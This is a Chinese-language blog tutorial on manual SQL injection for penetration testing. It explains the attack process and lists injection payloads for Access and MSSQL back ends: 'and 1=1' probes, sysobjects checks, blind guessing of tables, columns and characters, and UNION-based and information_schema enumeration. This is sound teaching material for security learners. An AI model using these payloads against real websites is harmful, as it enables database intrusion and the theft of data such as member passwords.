渗透测试之SQL手工注入

         所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。 [1]  比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.(引用百度百科)

          今天我们就讲一下手工注入!!!

          一:SQL注入攻击的过程

          1、攻击者访问有SQL注入漏洞的网站,寻找注入点

          2、攻击者构造注入语句,注入语句和程序中的SQL语句结合生成新的SQL语句

          3、新的SQL语句被提交到数据库中进行处理

          4、数据库执行了新的SQL语句,引发SQL注入攻击

          二:SQL注入的测试方法

          1、首先,找到带有参数传递的URL页面,如搜索页面,登陆页面,提交评论页面等

          2、其次,在URL参数或表单中加入某些特殊的SQL语句或SQL片段,如在登陆页面的URL中输入

          Http://DOMAIN/INDEX.ASP?USERNAME="HI" OR 1=1

          3、验证是否能入侵成功,或是出错的信息是否包含关于数据库服务器的相关信息,如果能,说明存在SQL安全漏洞。

          三:SQL 手工注入语法

          1、判断是否有注入    

           ;and 1=1

           ;and 1=2

           2、初步判断是否是mssql   

           ;and user>0

         3、判断数据库系统(Access和 SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。)

            ;and (select count(*) from sysobjects)>0 mssql(返回正常则为MSSQL数据库)

            ;and (select count(*) from msysobjects)>0 (返回权限不足access数据库)

           4、猜数据库

           ;and (select Count(*) from [数据库名])>0

            5、猜字段

             ;and (select Count(字段名) from 数据库名)>0

            6、猜字段中记录长度

            ;and (select top 1 len(字段名) from 数据库名)>0

             7、猜字段的ascii值(access)

             ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

             8、猜字段的ascii值(mssql)

             ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0

             9、information_schema.SCHEMATA表中的SCHEMA_NAME 查看所有的数据库:

           如:select * from hehe where id=3 and 1=2  union select 0,0,SCHEMA_NAME from information_schema.SCHEMATA limit 1,2;

          四:手工注入步骤

          第一步:使用order by(判断所查询字段的数目)

          第二步:找出数据库名

    union select database()

          第三步:找出对应的表

          如:select * from hehe where id = 3 and exists(select * from admin);

          exsits()猜解表名

          第四步:找出对应的列

          UNION猜解列数

          原理是:利用两边结果集必须相等列数!只有列数相等了,才能返回True!

          如:select * from hehe where id =3 and 1=1 union select 1,2,3;

          用 select * from hehe where id=3 and exists(select name from hehe);来猜解列名!

          我们用and union select 1,2,3,4,5,6...;来猜解列数,只有列数相等了,才能返回True!

          第五步:找到所要的数据

          具体示例可查看文章:https://www.jb51.net/article/93442.htm

                                                                                                 参考博客:http://www.sohu.com/a/205005038_653604

                                                                                                                   https://blog.csdn.net/emaste_r/article/details/8156108

猜你喜欢

转载自blog.csdn.net/weixin_40586270/article/details/81530397
今日推荐